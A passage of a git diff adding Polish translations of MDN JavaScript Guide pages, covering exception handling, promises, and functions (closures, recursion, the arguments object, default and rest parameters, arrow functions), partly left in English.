efektywne jest skorzystanie z już wbudowanych, specjalnie do tego przygotowanych typów jak np.</p> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Referencje/Obiekty/Error">Error</a></li> +</ul> + +<h3 id="Instrukcja_throw">Instrukcja <code>throw</code></h3> + +<p><code>throw</code> tworzy wyjątek. Kiedy wywołujesz wyjątek, musisz podać w danym wyrażeniu wartość, którą ma ten wyjątek zwrócić:</p> + +<pre class="syntaxbox">throw wyrażenie; +</pre> + +<p>Możesz wywoływać wyjątek z jakąkolwiek wartością. Podany kod rzuca wyjątki z wartościami różnych typów:</p> + +<pre class="brush: js">throw "Error2"; // Ciąg znaków +throw 42; // Typ liczbowy +throw true; // Wartość Boolean +throw {toString: function() { return "I'm an object!"; } }; +</pre> + +<div class="note"> +<p><strong>Notatka:</strong> Za pomocą instrukcji throw możesz zwrócić rówież obiekt. Możliwe jest osniesienie wartości objektu do właściwości bloku <code>catch</code>. Poniższy przykład tworzy obiekt <code>myUserException</code> typu <code>UserException</code> i używa go w instrukcji throw.</p> +</div> + +<pre class="brush: js">// Create an object type UserException +function UserException(message) { + this.message = message; + this.name = "UserException"; +} + +// Make the exception convert to a pretty string when used as a string +// (e.g. by the error console) +UserException.prototype.toString = function() { + return this.name + ': "' + this.message + '"'; +} + +// Create an instance of the object type and throw it +throw new UserException("Value too high");</pre> + +<h3 id="Instrukcja_try...catch">Instrukcja <code>try...catch</code></h3> + +<p><code>try...catch </code>jest instrukcją wykonującą pewien blok kodu i wyłąpującą w nim ewentualne wyjątki i błędy, które mogą zostać odpowiednio obsłużone.</p> + +<p>Instrukcja <code>try...catch </code>zawiera blok <code>try</code>, w którym znajduje się jedna bądź więcej instrukcji i zero lub więcej bloków <code>catch</code> określających zachowanie programu w przypadku napotkania w bloku <code>try</code> jakiegoś wyjątku. Blok <code>try</code> testuje nie tylko bezpośrednio wywołane instrukcje, ale cały stos wywołań użytych funkcji.</p> + +<pre class="brush: js">function test1() { + test2(); +}; + +function test2() { + console.log(name); +}; + +try{ + test1(); +} +catch(e){ + console.error(e); //ReferenceError: name is not defined +}</pre> + +<pre class="brush: js">function getMonthName(mo) { + mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec) + var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul", + "Aug","Sep","Oct","Nov","Dec"]; + if (months[mo]) { + return months[mo]; + } else { + throw "InvalidMonthNo"; //throw keyword is used here + } +} + +try { // statements to try + monthName = getMonthName(myMonth); // function could throw exception +} +catch (e) { + monthName = "unknown"; + logMyErrors(e); // pass exception object to error handler -> your own function +} +</pre> + +<h4 id="Blok_catch">Blok <code><strong>catch</strong></code></h4> + +<p>Możesz użyć bloku <code>catch</code> do obsługi wszystkich wyjątków jakie wystąpią w bloku <code>try</code>.</p> + +<pre class="syntaxbox">catch (catchID) { + instrukcje +} +</pre> + +<p>Blok <code>catch</code> przyjmuje parametr catchID, który jest po prostu wartością wyrzuconą przez wyjątek.</p> + +<h4 id="Blok_finally">Blok <code><strong>finally</strong></code></h4> + +<p>Możliwe jest dodanie bloku <code>finally</code>, który wykona się niezależnie od tego czy kod w bloku <code>try</code> rzucił jakimś wyjątkiem czy nie.</p> + +<pre class="brush: js">function test1(){ + test2(); +}; + +function test2(){ + console.log(name) +}; + +try{ + test1(); +} +catch(e){ + console.error(e) //ReferenceError: name is not defined +} +finally{ + console.log('Taka zmienna nie została zadeklarowana!') +}</pre> + +<h4 id="Nesting_try...catch_Statements" name="Nesting_try...catch_Statements">Zagnieżdzone instrukcje <strong>try...catch</strong></h4> + +<p>W swoim programie możesz użyć wielu zagnieżdzonych bloków <code>try...catch. </code>Jeśli wewnętrzny <code>try...catch </code>nie będzie posiadał bloku <code>catch,</code> wyjątek zostanie przekazany do zewnętrznego<code> try...catch.</code></p> + +<h3 id="Wykorzystanie_obiektu_Error">Wykorzystanie obiektu Error</h3> + +<p>W zależności od rodzaju błędu jaki chcesz wygnerować w swoim programie, możesz skorzystać z pól 'name' i 'message', aby uzyskać bardziej wyrafinowany log. 'name' zabiera nazwe ogólnej klasy błędu (np. 'DOMException'), z kolei 'message' zawiera bardziej szczegółową informacje okolicznościach powstania danego błędu.</p> + +<p>Jeśli chcesz wywoływać własne wyjątki, aby skorzystać z zalet tych pól możesz użyć konstruktora Error:</p> + +<pre class="brush: js">function doSomethingErrorProne () { + if (ourCodeMakesAMistake()) { + throw (new Error('The message')); + } else { + doSomethingToGetAJavascriptError(); + } +} +.... +try { + doSomethingErrorProne(); +} +catch (e) { + console.log(e.name); // logs 'Error' + console.log(e.message); // logs 'The message' or a JavaScript error message) +}</pre> + +<h2 id="Obietnice">Obietnice</h2> + +<p>Począwszy od specyfikacji ECMAScript 6, JavaScript obsługuje obiekty obietnic pozwalające na kontrole przepływu opóźnionych i asynchronicznych operacji.</p> + +<p>Obietnica może znajdować się w jednym z następujących stanów:</p> + +<ul> + <li><em>oczekiwanie</em>: stan początkowy, obietnica nie jest ani spełniona ani odrzucona.</li> + <li><em>spełnienie</em>: operacja zakończona sukcesem.</li> + <li><em>odrzucenie</em>: operacja zakończona niepowodzeniem.</li> + <li><em>rozliczenie</em>: obietnica została spełniona lub odrzucona i nie jest już w stanie oczekiwania.</li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p> + +<h3 id="Ładowanie_zdjęcia_za_pomocą_XHR">Ładowanie zdjęcia za pomocą XHR</h3> + +<p>Prosty przykład użycia <code>Promise and <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> </code></code>do załadowania zdjęcia jeśli jest dostępne w MDN GitHub promise-test repozytorium. </p> + +<pre class="brush: js">function imgLoad(url) { + return new Promise(function(resolve, reject) { + var request = new XMLHttpRequest(); + request.open('GET', url); + request.responseType = 'blob'; + request.onload = function() { + if (request.status === 200) { + resolve(request.response); + } else { + reject(Error('Image didn\'t load successfully; error code:' + + request.statusText)); + } + }; + request.onerror = function() { + reject(Error('There was a network error.')); + }; + request.send(); + }); +}</pre> + +<p>Aby dowiedzieć się więcej, sprawdź {{jsxref("Promise")}}.</p> + +<div>{{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div> diff --git a/files/pl/web/javascript/guide/funkcje/index.html b/files/pl/web/javascript/guide/funkcje/index.html new file mode 100644 index 0000000000..d9e66793ea --- /dev/null +++ b/files/pl/web/javascript/guide/funkcje/index.html @@ -0,0 +1,642 @@ +--- +title: Funkcje +slug: Web/JavaScript/Guide/Funkcje +translation_of: Web/JavaScript/Guide/Functions +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</div> + +<p class="summary">Funkcje są jednym z podstawowych 'klocków' JavaScriptu. Funkcja jest zbiorem wyrażeń, które wykonują jakieś zadanie, bądź obliczają wartość. Aby użyć funkcji, musisz najpierw zdefiniować ją gdzieś w zasięgu, z którego zostanie wywołana.</p> + +<p>See also the <a href="/en-US/docs/Web/JavaScript/Reference/Functions">exhaustive reference chapter about JavaScript functions</a> to get to know the details.</p> + +<h2 id="Definiowanie_funkcji">Definiowanie funkcji</h2> + +<h3 id="Deklaracje_funkcji">Deklaracje funkcji</h3> + +<p><strong>Definicja funkcji</strong> (zwana też <strong>deklaracją funkcji</strong>, lub <strong>instrukcją funkcji</strong>) składa się ze słowa kluczowego <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function" title="function"><code>function</code></a> oraz:</p> + +<ul> + <li>Nazwy funkcji.</li> + <li>Listy argumentów zamkniętych w nawiasach i oddzielonych przecinkami.</li> + <li>Instrukcji JavaScript, które definiują funkcję, zamkniętych w nawiasach klamrowych, <code>{ }</code>.</li> +</ul> + +<p>Poniższy przykład przedstawia definicję funkcji obliczającej kwadrat liczby:</p> + +<pre class="brush: js">function square(number) { + return number * number; +} +</pre> + +<p>Funkcja <code>square</code> przyjmuje jeden argument, nazwany <code>number</code>. Funkcja składa się z jednej instrukcji, która zwraca argument (<code>number</code>) pomnożony przez siebie. Instrukcja <a href="/en-US/docs/Web/JavaScript/Reference/Statements/return" title="return"><code>return</code></a> oznacza wartość zwracaną przez funkcję.</p> + +<pre class="brush: js">return number * number; +</pre> + +<p>Podstawowe parametry (takie jak liczby) są przekazywane do funkcji <strong>przez wartość</strong>; wartośc przekazywana jest do funkcji, ale jeśli funkcja zmienia wartość, ta zmiana nie jest rejestrowana globalnie, lub w funkcji wywołującej.</p> + +<p>Jeśli przekażesz obiekt (n.p. {{jsxref("Array")}}) jako parametr a funkcja zmieni właściwości obiektu, zmiana ta jest rejestrowana poza funkcją, tak jak jest to pokazane w przykładzie:</p> + +<pre class="brush: js">function myFunc(theObject) { + theObject.make = "Toyota"; +} + +var mycar = {make: "Honda", model: "Accord", year: 1998}; +var x, y; + +x = mycar.make; // x dostaje wartość "Honda" + +myFunc(mycar); +y = mycar.make; // y dodaje wartość "Toyota" + // (właściwość make została zmieniona przez funkcję) +</pre> + +<div class="note"> +<p><strong>Note:</strong> Przypisanie nowego obiektu do parametru <strong>nie</strong> będzie miało żadnego skutku poza funkcją, ponieważ jest to zmiana wartości parametru, a nie zmiana jednej z właściwości obiektu:</p> +</div> + +<pre class="brush: js">function myFunc(theObject) { + theObject = {make: "Ford", model: "Focus", year: 2006}; +} + +var mycar = {make: "Honda", model: "Accord", year: 1998}; +var x, y; + +x = mycar.make; // x dostaje wartość "Honda" + +myFunc(mycar); +y = mycar.make; // y wciąż dostaje wartość "Honda" </pre> + +<h3 id="Wyrażenia_funkcyjne">Wyrażenia funkcyjne</h3> + +<p>Podczas gdy powyższa deklaracja jest syntaktycznie wyrażeniem, funkcje mogą być utworzone także przez <strong>wyrażenie funkcyjne.</strong> Taka funkcja może być <strong>anonimowa;</strong> nie posiadająca nazwy. Dla przykładu, funkcja <code>square </code>może być zdefiniowana następująco:</p> + +<pre class="brush: js">var square = function(number) { return number * number }; +var x = square(4) // x gets the value 16</pre> + +<p>Deklaracja funkcji przy pomocy wyrażenia funkcyjnego nie oznacza, że funkcja musi być anonimowa. Nadal może ona posiadać swoją nazwę, która może przydać się do wywołania samej siebie czy do identyfikacji w śladzie stosu podczas debugowania kodu. </p> + +<pre class="brush: js">var factorial = function fac(n) { return n<2 ? 1 : n*fac(n-1) }; + +console.log(factorial(3)); +</pre> + +<p>Function expressions are convenient when passing a function as an argument to another function. The following example shows a <code>map</code> function being defined and then called with an expression function as its first parameter:</p> + +<pre class="brush: js">function map(f,a) { + var result = [], // Create a new Array + i; + for (i = 0; i != a.length; i++) + result[i] = f(a[i]); + return result; +} +</pre> + +<p>Poniższy kod:</p> + +<pre class="brush: js">map(function(x) {return x * x * x}, [0, 1, 2, 5, 10]); +</pre> + +<p>zwraca [0, 1, 8, 125, 1000].</p> + +<p>In JavaScript, a function can be defined based on a condition. For example, the following function definition defines <code>myFunc</code> only if <code>num</code> equals 0:</p> + +<pre class="brush: js">var myFunc; +if (num == 0){ + myFunc = function(theObject) { + theObject.make = "Toyota" + } +}</pre> + +<p>In addition to defining functions as described here, you can also use the {{jsxref("Function")}} constructor to create functions from a string at runtime, much like {{jsxref("eval()")}}.</p> + +<p>A <strong>method</strong> is a function that is a property of an object. Read more about objects and methods in <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects" title="en-US/docs/JavaScript/Guide/Working with Objects">Working with objects</a>.</p> + +<h2 id="Wywoływanie_funkcji">Wywoływanie funkcji</h2> + +<p>Definicja fukcji nie wykonuje jej. Definiowanie funkcji nazywa fukncję i określa co robić kiedy fukcja zostanie wywołana. <strong>Wywołanie </strong>funkcji inicjiuje wykonanie określonych akcji wraz z wskazanymi parametrami. Na przykład, jeśli zdefiniujesz funkcję square, możesz ją wywołać w następujący sposób:</p> + +<pre class="brush: js">square(5); +</pre> + +<p>Powyższy kod wywołuje funkcję dla argumentu 5. Funkcja wykonuje się i zwraca wartość 25.</p> + +<p>Funkcja musi znajdować się w obecnym zakresie by mogła zostać wywołana. Jej wywołanie może jednak znajdować się powyżej jej deklaracji. Mamy wtedy do czynienia ze zjawiskiem hoistingu. </p> + +<pre class="brush: js">console.log(square(5)); +/* ... */ +function square(n) { return n*n } +</pre> + +<p>Zakres funkcji jest funkcją w której została ona zadeklarowana co oznacza, że deklarując funkcję na najwyższym poziomie programu, znajduje się ona w zakresie globalnym.</p> + +<div class="note"> +<p><strong>Notka:</strong> Zjawisko hoistingu funkcji zachodzi wyłącznie w przypadku powyższego sposobu deklaracji (<code>function funcName(){}</code>). Poniższy kod nie zadziała, w tym przypadku funkcja została zadeklarowana za pomocą wyrażenia.</p> +</div> + +<pre class="brush: js example-bad">console.log(square(5)); +square = function (n) { + return n * n; +} +</pre> + +<p>Argumenty funkcji mogą być nie tylko łańcuchami lub liczbami.Funkcja <code>show_props()</code> (zdefiniowana w <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_Properties" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Working_with_Objects#Objects_and_Properties">Working with objects</a>) jest przykładem funkcji przyjmującej objekt jako argument.</p> + +<p>Funkcja może wywoływać samą siebie. Na przykład, poniżej mamy funkcję rekurencyjnie obliczającą silnię.</p> + +<pre class="brush: js">function factorial(n){ + if ((n == 0) || (n == 1)) + return 1; + else + return (n * factorial(n - 1)); +} +</pre> + +<p>Poniżej znajdują się wyniki funkcji dla liczb z zakresu 1-5.</p> + +<pre class="brush: js">var a, b, c, d, e; +a = factorial(1); // a gets the value 1 +b = factorial(2); // b gets the value 2 +c = factorial(3); // c gets the value 6 +d = factorial(4); // d gets the value 24 +e = factorial(5); // e gets the value 120 +</pre> + +<p>Istnieją inne sposoby wywołania funkcji. Często zdarzają się sytuacje gdy funkcja musi zostać wywołana dynamicznie, przyjmuje różna liczbę argumentów lub zmienia sie kontekst jej wywołania. Okazuje się, że funkcje są tak naprawdę obiektami, które posiadaja własne metody (sprawdź obiekt {{jsxref("Function")}}). Jednej z tych metod {{jsxref("Function.apply", "apply()")}} możemy użyć do zmiany kontekstu wywołania funkcji.</p> + +<h2 class="deki-transform" id="Zakres_funkcji">Zakres funkcji</h2> + +<p>Zmienne zdefiniowane wewnątrz funkcji nie są dostępne poza nią, ponieważ są zdefiniowane tylko w wewnętrznym zakresie funkcji. Sama funkcja ma dostęp do innych zmiennych i funkcji zdefiniowanych w tym samym zakresie, w którym została zdefiniowana. Innymi słowy, funkcja zdefiniowana w zakresie globalnym ma dostęp do wszystkich zmiennych zdefiniowanych w zakresie globalnym. Funkcja zdefiniowana w innej funkcji ma dostęp do wszystkich zmiennych zdefiniowanych w funkcji macierzystej oraz zmiennych, do których ma dostęp funkcja macierzysta.</p> + +<pre class="brush: js">// Poniższe zmienne są zdefiniowane z zakresie globalnym +var num1 = 20, + num2 = 3, + name = "Chamahk"; + +// Ta funkcja jest zdefiniowana w zakresie globalnym +function multiply() { + return num1 * num2; +} + +multiply(); // Zwraca 60 + +// Przykład funkcji zagnieżdżonej +function getScore () { + var num1 = 2, + num2 = 3; + + function add() { + return name + " scored " + (num1 + num2); + } + + return add(); +} + +getScore(); // Zwraca "Chamahk scored 5" +</pre> + +<h2 id="Zakres_i_stos_funkcji">Zakres i stos funkcji</h2> + +<h3 id="Rekurencja">Rekurencja</h3> + +<p>Funkcja może się odwoływać i wywoływać samą siebie. Istnieją trzy sposoby odwoływania się funkcji do siebie:</p> + +<ol> + <li>przez nazwę funkcji</li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></li> + <li>przez zmienną dostępna w zakresie, która odwołuje się do funkcji</li> +</ol> + +<p>Na przykład, rozważ następującą definicję funkcji:</p> + +<pre class="brush: js">var foo = function bar() { + // statements go here +}; +</pre> + +<p>Within the function body, the following are all equivalent:</p> + +<ol> + <li><code>bar()</code></li> + <li><code>arguments.callee()</code></li> + <li><code>foo()</code></li> +</ol> + +<p>Funkcja, która wywołuje samą siebie to <em>funkcja rekurencyjna</em>. W pewnym sensie rekurencja jest analogiczna z pętlą. Zarówno funkcja rekurencyjna, jak i pętla wykonują ten sam kod wiele razy, potrzebują warunku końca (aby uniknąć wiecznej pętli lub bardziej w tym przypadku wiecznej rekurencji). Dla przykładu następująca pętla:</p> + +<pre class="brush: js">var x = 0; +while (x < 10) { // "x < 10" is the loop condition + // zrób jakieś rzeczy + x++; +} +</pre> + +<p>może być przekształcona w funkcję rekurencyjną i wywołanie tej funkcji:</p> + +<pre class="brush: js">function loop(x) { + if (x >= 10) // "x >= 10" is the exit condition (equivalent to "!(x < 10)") + return; + // do stuff + loop(x + 1); // rekurencyjne wywołanie +} +loop(0); +</pre> + +<p>Niektóre algorytmy nie mogą być wykonane w zwykłej iteracji pętli. Dla przykładu, wydobycie wszystkich nodów ze struktury drzewiastej (np. dla <a href="/en-US/docs/DOM">DOM</a>) jest łatwiej wykonać za pomocą rekurencji:</p> + +<pre class="brush: js">function walkTree(node) { + if (node == null) // + return; + // zrób coś z node + for (var i = 0; i < node.childNodes.length; i++) { + walkTree(node.childNodes[i]); + } +} +</pre> + +<p>Porównując do funkcji z pętlą <code>loop</code>, każde rekurencyjne wywołanie wykonuje wiele rekurencyjnych wowołań.</p> + +<p>Każdy algorytm rekurencyjny można zmienić na nie rekurencyjny, lecz logika w tym drugim przypadku jest znacznie bardziej skomplikowana i wymaga użycia stosu. Faktycznie, sama rekurencja używa stosu: stosu funkcyjnego.</p> + +<p>W poniższym przykładzie widać zachowanie przypominające użycie stosu:</p> + +<pre class="brush: js">function foo(i) { + if (i < 0) + return; + console.log('begin:' + i); + foo(i - 1); + console.log('end:' + i); +} +foo(3); + +// Output: + +// begin:3 +// begin:2 +// begin:1 +// begin:0 +// end:0 +// end:1 +// end:2 +// end:3</pre> + +<h3 id="Funkcje_zagnieżdżone_i_domknięcia">Funkcje zagnieżdżone i domknięcia</h3> + +<p>Możesz zagnieżdżać funkcję w funkcji. Zagnieżdżona (wewnętrzna) funkcja jest prywatna dla funkcji (zewnętrznej), która ją zawiera. W ten sposób tworzy się domknięcie (<em>closure)</em>. Domknięcie jest wyrażeniem (zwykle funkcją), które może posiadać dodatkowe zmienne razem ze środowiskiem, które "wiąże" te zmienne (w ten sposób domknięcie jest zamykane).</p> + +<p>Ponieważ funkcja zagnieżdżona jest równocześnie domknięciem, to oznacza, że może "dziedziczyć" wszystkie argumenty i zmienne funkcji, która ją zawiera. Innymi słowy, funkcja wewnętrzna zawiera zakres funkcji zewnętrznej.</p> + +<p>Podsumowując:</p> + +<ul> + <li>Funkcja wewnętrzna może być dostępna tylko przez instrukcje z funkcji zewnętrznej.</li> +</ul> + +<ul> + <li>Funkcja wewnętrzna tworzy domknięcie: może używać argumentów i zmiennych funkcji zewnętrznej, podczas gdy funkcja zewnętrzna nie może używać argumentów i zmiennych funkcji wewnętrznej.</li> +</ul> + +<p>Poniższy przykład obrazuje funkcje zagnieżdżone:</p> + +<pre class="brush: js">function addSquares(a,b) { + function square(x) { + return x * x; + } + return square(a) + square(b); +} +a = addSquares(2,3); // returns 13 +b = addSquares(3,4); // returns 25 +c = addSquares(4,5); // returns 41 +</pre> + +<p>Ponieważ funkcja wewnętrzna tworzy domknięcie, możesz wywołać funkcję zewnętrzną i podać argumenty zarówno dla zewnętrznej, jak i wewnętrznej funkcji:</p> + +<pre class="brush: js">function outside(x) { + function inside(y) { + return x + y; + } + return inside; +} +fn_inside = outside(3); // Think of it like: give me a function that adds 3 to whatever you give it +result = fn_inside(5); // returns 8 + +result1 = outside(3)(5); // returns 8 +</pre> + +<h3 id="Zachowywanie_zmiennych">Zachowywanie zmiennych</h3> + +<p>Zwróć uwagę jak zmienna <code>x</code> jest zachowana, kiedy zwracana jest funkcja <code>inside</code>. Domknięcie musi zachować argumenty i zmienne we wszystkich zakresach, do których się odwołuje. Jako że każde wywołanie potencjalnie dostarcza różne wartości argumentów, przy każdym wywołaniu <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">outside</span></font> jest tworzone nowe domknięcie. Pamięć może być zwolniona, tylko jeśli zwracany <code>inside</code> nie jest więcej dostępny.</p> + +<p>Ten sposób nie różni się od zachowywania referencji w innych obiektach, lecz jest mniej oczywisty, ponieważ referencje nie są tworzone bezpośrednio i nie można ich zweryfikować.</p> + +<h3 id="Wielokrotnie_zagnieżdżone_funkcje">Wielokrotnie zagnieżdżone funkcje</h3> + +<p>Funkcje mogą być zagnieżdżone wielokrotnie, np. funkcja (A) zawierająca funkcję (B) zawierającą funkcję (C). Obydwie funkcje B i C tworzą domknięcia więc B ma dostęp do A a C ma dostęp do B. Dodatkowo, ponieważ C ma dostęp do B która ma dostęp do A, więc C również ma dostęp do A. W ten sposób domknięcia mogą zawierać wiele zakresów; zawierają rekurencyjne zakresy funkcji, które je zawierają. Efekt ten nazywa się <em>wiązaniem zakresów (</em><em>scope chaining)</em>. (Później zostanie wyjaśnione określenie "chaining".)</p> + +<p>Rozważ poniższy przykład:</p> + +<pre class="brush: js">function A(x) { + function B(y) { + function C(z) { + console.log(x + y + z); + } + C(3); + } + B(2); +} +A(1); // logs 6 (1 + 2 + 3) +</pre> + +<p>W tym przykładzie <code>C</code> ma dostęp do zmiennej <code>y</code> w <code>B</code> i <code>x</code> w <code>A</code>. Jest to możliwe, ponieważ:</p> + +<ol> + <li><code>B</code> tworzy domknięcie zawierające <code>A</code> i dlatego <code>B</code> ma dostęp do argumentów i zmiennych <code>A</code>.</li> + <li><code>C</code> tworzy domknięcie zawierające <code>B</code>.</li> + <li>Ponieważ domknięcie <code>B</code> zawiera <code>A</code>, to domknięcie <code>C</code> również zawiera <code>A</code>. <code>C</code> ma dostęp do zmiennych i argumentów zarówno <code>B</code> jak i <code>A</code>. Innymi słowy <code>C</code> wiąże zakresy <code>B</code> i <code>A</code>.</li> +</ol> + +<p>Jednak sytuacja odwrotna nie jest już prawdziwa. <code>A</code> nie ma dostępu do <code>C</code>, ponieważ <code>A</code> nie może dostać się do żadnego argumentu i zmiennej <code>B</code>, dla której <code>C</code> jest zmienną. Zatem <code>C</code> pozostaje prywatny (dostępny) tylko dla <code>B</code>.</p> + +<h3 id="Konflikty_nazw">Konflikty nazw</h3> + +<p>Gdy dwa argumenty lub zmienne w zakresach danego zamknięcia mają tę samą nazwę, wtedy występuje konflikt nazw. Czym bardziej wewnętrzny zakres, tym większe pierwszeństwo, więc najbardziej wewnętrzny zakres ma najwyższy priorytet, a najbardziej zewnętrzny zakres ma najniższy. Sytuacja ta, określana jest wiązaniem zakresów. Pierwszy w łańcuchu to najbardziej wewnętrzny zakres, a ostatni to najbardziej zewnętrzny. Rozważ następujący przykład:</p> + +<pre class="brush: js">function outside() { + var x = 10; + function inside(x) { + return x; + } + return inside; +} +result = outside()(20); // returns 20 instead of 10 +</pre> + +<p>The name conflict happens at the statement <code>return x</code> and is between <code>inside</code>'s parameter <code>x</code> and <code>outside</code>'s variable <code>x</code>. The scope chain here is {<code>inside</code>, <code>outside</code>, global object}. Therefore <code>inside</code>'s <code>x</code> takes precedences over <code>outside</code>'s <code>x</code>, and 20 (<code>inside</code>'s <code>x</code>) is returned instead of 10 (<code>outside</code>'s <code>x</code>).</p> + +<h2 id="Closures">Closures</h2> + +<p>Closures are one of the most powerful features of JavaScript. JavaScript allows for the nesting of functions and grants the inner function full access to all the variables and functions defined inside the outer function (and all other variables and functions that the outer function has access to). However, the outer function does not have access to the variables and functions defined inside the inner function. This provides a sort of security for the variables of the inner function. Also, since the inner function has access to the scope of the outer function, the variables and functions defined in the outer function will live longer than the outer function itself, if the inner function manages to survive beyond the life of the outer function. A closure is created when the inner function is somehow made available to any scope outside the outer function.</p> + +<pre class="brush: js">var pet = function(name) { // The outer function defines a variable called "name" + var getName = function() { + return name; // The inner function has access to the "name" variable of the outer function + } + return getName; // Return the inner function, thereby exposing it to outer scopes +}, +myPet = pet("Vivie"); + +myPet(); // Returns "Vivie" +</pre> + +<p>It can be much more complex than the code above. An object containing methods for manipulating the inner variables of the outer function can be returned.</p> + +<pre class="brush: js">var createPet = function(name) { + var sex; + + return { + setName: function(newName) { + name = newName; + }, + + getName: function() { + return name; + }, + + getSex: function() { + return sex; + }, + + setSex: function(newSex) { + if(typeof newSex == "string" && (newSex.toLowerCase() == "male" || newSex.toLowerCase() == "female")) { + sex = newSex; + } + } + } +} + +var pet = createPet("Vivie"); +pet.getName(); // Vivie + +pet.setName("Oliver"); +pet.setSex("male"); +pet.getSex(); // male +pet.getName(); // Oliver +</pre> + +<p>In the code above, the <code>name</code> variable of the outer function is accessible to the inner functions, and there is no other way to access the inner variables except through the inner functions. The inner variables of the inner function act as safe stores for the inner functions. They hold "persistent", yet secure, data for the inner functions to work with. The functions do not even have to be assigned to a variable, or have a name.</p> + +<pre class="brush: js">var getCode = (function(){ + var secureCode = "0]Eal(eh&2"; // A code we do not want outsiders to be able to modify... + + return function () { + return secureCode; + }; +})(); + +getCode(); // Returns the secureCode +</pre> + +<p>There are, however, a number of pitfalls to watch out for when using closures. If an enclosed function defines a variable with the same name as the name of a variable in the outer scope, there is no way to refer to the variable in the outer scope again.</p> + +<pre class="brush: js">var createPet = function(name) { // Outer function defines a variable called "name" + return { + setName: function(name) { // Enclosed function also defines a variable called "name" + name = name; // ??? How do we access the "name" defined by the outer function ??? + } + } +} +</pre> + +<p>The magical <code>this</code> variable is very tricky in closures. They have to be used carefully, as what <code>this</code> refers to depends completely on where the function was called, rather than where it was defined.</p> + +<h2 id="Using_the_arguments_object">Using the arguments object</h2> + +<p>The arguments of a function are maintained in an array-like object. Within a function, you can address the arguments passed to it as follows:</p> + +<pre class="brush: js">arguments[i] +</pre> + +<p>where <code>i</code> is the ordinal number of the argument, starting at zero. So, the first argument passed to a function would be <code>arguments[0]</code>. The total number of arguments is indicated by <code>arguments.length</code>.</p> + +<p>Using the <code>arguments</code> object, you can call a function with more arguments than it is formally declared to accept. This is often useful if you don't know in advance how many arguments will be passed to the function. You can use <code>arguments.length</code> to determine the number of arguments actually passed to the function, and then access each argument using the <code>arguments</code> object.</p> + +<p>For example, consider a function that concatenates several strings. The only formal argument for the function is a string that specifies the characters that separate the items to concatenate. The function is defined as follows:</p> + +<pre class="brush: js">function myConcat(separator) { + var result = "", // initialize list + i; + // iterate through arguments + for (i = 1; i < arguments.length; i++) { + result += arguments[i] + separator; + } + return result; +} +</pre> + +<p>You can pass any number of arguments to this function, and it concatenates each argument into a string "list":</p> + +<pre class="brush: js">// returns "red, orange, blue, " +myConcat(", ", "red", "orange", "blue"); + +// returns "elephant; giraffe; lion; cheetah; " +myConcat("; ", "elephant", "giraffe", "lion", "cheetah"); + +// returns "sage. basil. oregano. pepper. parsley. " +myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley"); +</pre> + +<div class="note"> +<p><strong>Note:</strong> The <code>arguments</code> variable is "array-like", but not an array. It is array-like in that is has a numbered index and a <code>length</code> property. However, it does not possess all of the array-manipulation methods.</p> +</div> + +<p>See the {{jsxref("Function")}} object in the JavaScript reference for more information.</p> + +<h2 id="Function_parameters">Function parameters</h2> + +<p>Starting with ECMAScript 6, there are two new kinds of parameters: default parameters and rest parameters.</p> + +<h3 id="Default_parameters">Default parameters</h3> + +<p>In JavaScript, parameters of functions default to <code>undefined</code>. However, in some situations it might be useful to set a different default value. This is where default parameters can help.</p> + +<p>In the past, the general strategy for setting defaults was to test parameter values in the body of the function and assign a value if they are <code>undefined</code>. If in the following example, no value is provided for <code>b</code> in the call, its value would be <code>undefined</code> when evaluating <code>a*b</code> and the call to <code>multiple</code> would have returned <code>NaN</code>. However, this is caught with the second line in this example:</p> + +<pre class="brush: js">function multiply(a, b) { + b = typeof b !== 'undefined' ? b : 1; + + return a*b; +} + +multiply(5); // 5 +</pre> + +<p>With default parameters, the check in the function body is no longer necessary. Now, you can simply put <code>1</code> as the default value for <code>b</code> in the function head:</p> + +<pre class="brush: js">function multiply(a, b = 1) { + return a*b; +} + +multiply(5); // 5</pre> + +<p>Fore more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a> in the reference.</p> + +<h3 id="Rest_parameters">Rest parameters</h3> + +<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameter</a> syntax allows to represent an indefinite number of arguments as an array. In the example, we use the rest parameters to collect arguments from the second one to the end. We then multiply them by the first one. This example is using an arrow function, which is introduced in the next section.</p> + +<pre class="brush: js">function multiply(multiplier, ...theArgs) { + return theArgs.map(x => multiplier * x); +} + +var arr = multiply(2, 1, 2, 3); +console.log(arr); // [2, 4, 6]</pre> + +<h2 id="Arrow_functions">Arrow functions</h2> + +<p>An <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function expression</a> (also known as <strong>fat arrow function</strong>) has a shorter syntax compared to function expressions and lexically binds the <code>this</code> value. Arrow functions are always anonymous. See also this hacks.mozilla.org blog post: "<a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">ES6 In Depth: Arrow functions</a>".</p> + +<p>Two factors influenced the introduction of arrow functions: shorter functions and lexical <code>this</code>.</p> + +<h3 id="Shorter_functions">Shorter functions</h3> + +<p>In some functional patterns, shorter functions are welcome. Compare:</p> + +<pre class="brush: js">var a = [ + "Hydrogen", + "Helium", + "Lithium", + "Beryllium" +]; + +var a2 = a.map(function(s){ return s.length }); + +var a3 = a.map( s => s.length );</pre> + +<h3 id="Lexical_this">Lexical <code>this</code></h3> + +<p>Until arrow functions, every new function defined its own <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a> value (a 